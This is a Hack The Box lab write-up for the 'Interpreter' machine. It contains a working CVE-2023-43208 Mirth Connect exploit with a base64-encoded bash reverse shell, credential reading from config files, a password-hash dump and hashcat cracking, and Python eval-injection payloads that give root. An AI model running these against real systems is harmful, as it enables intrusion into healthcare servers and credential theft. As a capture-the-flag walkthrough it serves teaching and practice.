22/02/26
interpreter
HTB machine Season 10
hack-the-box
بِسْمِ اللَّهِ الرَّحْمَنِ الرَّحِيمِ
In this write-up, we will walk through the steps to hack the interpreter machine on Hack The Box. Let's dive in!
Recon
We began by performing an Nmap scan to identify open ports and services on the target machine.
nmap 10.129.1.XXX -A -T5
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-21 20:49 -0500
Nmap scan report for 10.129.1.XXX
Host is up (0.051s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
| 256 07:eb:d1:b1:61:9a:6f:38:08:e0:1e:3e:5b:61:03:b9 (ECDSA)
|_ 256 fc:d5:7a:ca:8c:4f:c1:bd:c7:2f:3a:ef:e1:5e:99:0f (ED25519)
80/tcp open http Jetty
|_http-title: Mirth Connect Administrator
| http-methods:
|_ Potentially risky methods: TRACE
443/tcp open ssl/http Jetty
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=mirth-connect
| Not valid before: 2025-09-19T12:50:05
|_Not valid after: 2075-09-19T12:50:05
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Mirth Connect Administrator
Device type: general purpose|router
Running: Linux 5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 5.0 - 5.14, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.86 seconds
Web app + vulnerability research
so we're gonna access the website and see what application is hosted there , the application seems like an application for healthcare , We're gonna start googling to see if there is any related CVE or something can lead us further
so we find a CVE-2023-43208 so we're gonna try and see if we can get the shell with it so I tried to execute this POC https://github.com/jakabakos/CVE-2023-43208-mirth-connect-rce-poc/blob/master/CVE-2023-43208.py
so I tried many times to execute the simple rev shell , until i see that there is a Runtime.exec() , by asking ChatGPT we know that the Runtime.exec is fragile and weak with the shell metacharacters(>,&) or it can be a WAF who knows , so I tried to encode the rev shell and
shell= $(echo 'bash -i >& /dev/tcp/[ip]/1234 0>&1' | base64)
after that we're gonna execute the payload
python3 CVE-2023-43208.py -u https://[ip] -c "bash -c {echo,($shell)}|{base64,-d}|{bash,-i}"
Initial access
after that we're gonna get the shell with nc
nc -vlntp 1234
listening on [any] 1234 ...
connect to [10.10.XX.XX] from (UNKNOWN) [10.129.1.XXX] 44402
bash: cannot set terminal process group (3496): Inappropriate ioctl for device
bash: no job control in this shell
mirth@interpreter:/usr/local/mirthconnect$
Post-exploitation enumeration
we got the shell, we're gonna look inside the machine , and see if something interesting gonna appear , so looking for database or some configuration about the application i found that there are some files in the /usr/local/mirthconnect
cat /usr/local/mirthconnect/conf/mirth.properties
# database credentials
database.username = mirthdb
database.password = MirthPass123!
## Enumearte for User
so we found a password for the database, let's connect and see if there is any password stored there
mirth@interpreter:/usr/local/mirthconnect$ mysql -u mirthdb -p'MirthPass123!' mc_bdd_prod -e "select p.ID,p.USERNAME,pp.PASSWORD from PERSON p join PERSON_PASSWORD pp on p.ID=pp.PERSON_ID;"
ID USERNAME PASSWORD
2 sedric u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==
I tried to crack this password using a Hashcat but it was painful
blob='u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w=='
hex=$(echo "$blob" | base64 -d | xxd -p -c 999)
# try split A (salt first 8 bytes, hash rest)
saltA=$(echo "$hex" | cut -c1-16 | xxd -r -p | base64)
hashA=$(echo "$hex" | cut -c17- | xxd -r -p | base64)
echo "sha256:600000:$saltA:$hashA" > hA.txt
hashcat -m 10900 -a 0 hA.txt /usr/share/wordlists/rockyou.txt --force
sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=:snowflake1
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 10900 (PBKDF2-HMAC-SHA256)
Hash.Target......: sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD...Ld8Ps=
Time.Started.....: Sun Feb 22 12:07:47 2026, (16 mins, 18 secs)
Time.Estimated...: Sun Feb 22 12:24:05 2026, (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........: 10 H/s (18.28ms) @ Accel:54 Loops:1000 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 9936/14344385 (0.07%)
Rejected.........: 0/9936 (0.00%)
Restore.Point....: 9828/14344385 (0.07%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:599000-599999
Candidate.Engine.: Device Generator
Candidates.#01...: boracay -> lovelyme
Hardware.Mon.#01.: Util: 92%
Internal port enumeration
so we found the password of the user sedric next we gonna see the ports that are open in the machine
ssh sedric@10.129.2.121
sedric@10.129.2.121's password: #snowflake1
sedric@interpreter:~$ ss -nltp
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 128 127.0.0.1:54321 0.0.0.0:*
LISTEN 0 80 127.0.0.1:3306 0.0.0.0:*
LISTEN 0 256 0.0.0.0:6661 0.0.0.0:*
LISTEN 0 50 0.0.0.0:443 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 50 0.0.0.0:80 0.0.0.0:*
LISTEN 0 128 [::]:22 [::]:*
hmm a port like 54321 is suspicious , so I send an request to see what on the earth is going on this internal port
sedric@interpreter:~$ timeout 3 bash -c "printf 'GET / HTTP/1.1\r\nHost: localhost\r\n\r\n' | nc 127.0.0.1 54321 -nv" 2>&1 | head -n 40
(UNKNOWN) [127.0.0.1] 54321 (?) open
HTTP/1.1 404 NOT FOUND
Server: Werkzeug/2.2.2 Python/3.11.2
Date: Sun, 22 Feb 2026 17:39:17 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 207
Connection: close
<!doctype html>
<html lang=en>
<title>404 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
hmm a Werkzeug server and python3
Identify process behind 54321
after having this information we gonna try to see what process behind this port
sedric@interpreter:~$ ps -ef | grep -Ei "python|werkzeug|54321" | grep -v grep
root 3559 1 0 11:41 ? 00:00:01 /usr/bin/python3 /usr/bin/fail2ban-server -xf start
root 3565 1 0 11:41 ? 00:00:00 /usr/bin/python3 /usr/local/bin/notif.py
Endpoint discovery: /addPatient
so we got fail2ban script and notif.py script , first we gonna read the notif.py script and see if we can get any information for Escalation
sedric@interpreter:~$ cat /usr/local/bin/notif.py
except:
return "[INVALID_DOB]"
template = f"Patient {first} {last} ({gender}), {{datetime.now().year - year_of_birth}} years old, received from {sender} at {ts}"
try:
return eval(f"f'''{template}'''")
except Exception as e:
return f"[EVAL_ERROR] {e}"
it builds an f-string template with user-controlled fields (first, last, sender, ts, gender) and then executes it with eval().
this is the root cause: the script evaluates user-controlled data inside an f-string, which leads to code execution.
also we discover an new endpoint addPatient that accept Post Request and the tags that we gonna use to send the request
@app.route("/addPatient", methods=["POST"])
-----
data = {tag: (patient.findtext(tag) or "") for tag in ["firstname","lastname","sender_app","timestamp","birth_date","gender"]}
notification = template(data["firstname"],data["lastname"],data["sender_app"],data["timestamp"],data["birth_date"],data["gender"])
with these information of tags we gonna test if the request we gonna use it works or not
with these information of tags we're gonna create a one-line Python script that creates this
sedric@interpreter:~$ python3 -c 'import requests;u="http://127.0.0.1:54321/addPatient";x="<patient><timestamp>20250101000001</timestamp><sender_app>Me</sender_app><id>4444</id><firstname>Someone</firstname><lastname>was</lastname><birth_date>09/09/1999</birth_date><gender>M</gender></patient>";r=requests.post(u,data=x,headers={"Content-Type":"application/xml"},timeout=8);print(r.status_code);print(r.text)'
Patient Someone was (M), 27 years old, received from Me at 20250101000001
Exploitation (eval injection)
after successfully create a patient, we're gonna inject our payload in the XML code as we did in the first on the CVE
<firstname>{__import__("os").popen("id").read()}</firstname>
full payload:
sedric@interpreter:~$ python3 - <<'PY'
import requests
u="http://127.0.0.1:54321/addPatient"
p='{__import__("os").popen("id").read().strip()}'
x=f"""<patient>
<timestamp>20250101000001</timestamp>
<sender_app>Me</sender_app>
<id>4444</id>
<firstname>{p}</firstname>
<lastname>was</lastname>
<birth_date>09/09/1999</birth_date>
<gender>F</gender>
</patient>"""
r=requests.post(u,data=x,headers={"Content-Type":"application/xml"},timeout=8)
print(r.text)
PY
Patient uid=0(root) gid=0(root) groups=0(root) was (F), 27 years old, received from Me at 20250101000001
as we can see, we successfully executed the id command
Reading flags
so all that remains is to read the flag files and that's easy just by modifying the payload page
sedric@interpreter:~$ python3 - <<'PY'
import requests
u="http://127.0.0.1:54321/addPatient"
p='{__import__("builtins").open(chr(47)+"root"+chr(47)+"root.txt").read().strip()}'
x=f"""<patient>
<timestamp>20250101000001</timestamp>
<sender_app>Me</sender_app>
<id>4444</id>
<firstname>{p}</firstname>
<lastname>was</lastname>
<birth_date>09/09/1999</birth_date>
<gender>F</gender>
</patient>"""
r=requests.post(u,data=x,headers={"Content-Type":"application/xml"},timeout=8)
print(r.text)
PY
Patient 7a6af1XXXXXXXXXXXXXXXXXXX Doe (M), 36 years old, received from Me at 20250101000001
for the user flag, all you need to do is change the payload
__import__("builtins").open(chr(47)+"root"+chr(47)+"root.txt").read().strip()
to this payload
__import__("builtins").open(chr(47)+"home"+chr(47)+"sedric"+chr(47)+"user.txt").read().strip()
Note: I tried many times to get the root shell , but all I got is 200 [INVALID_INPUT]

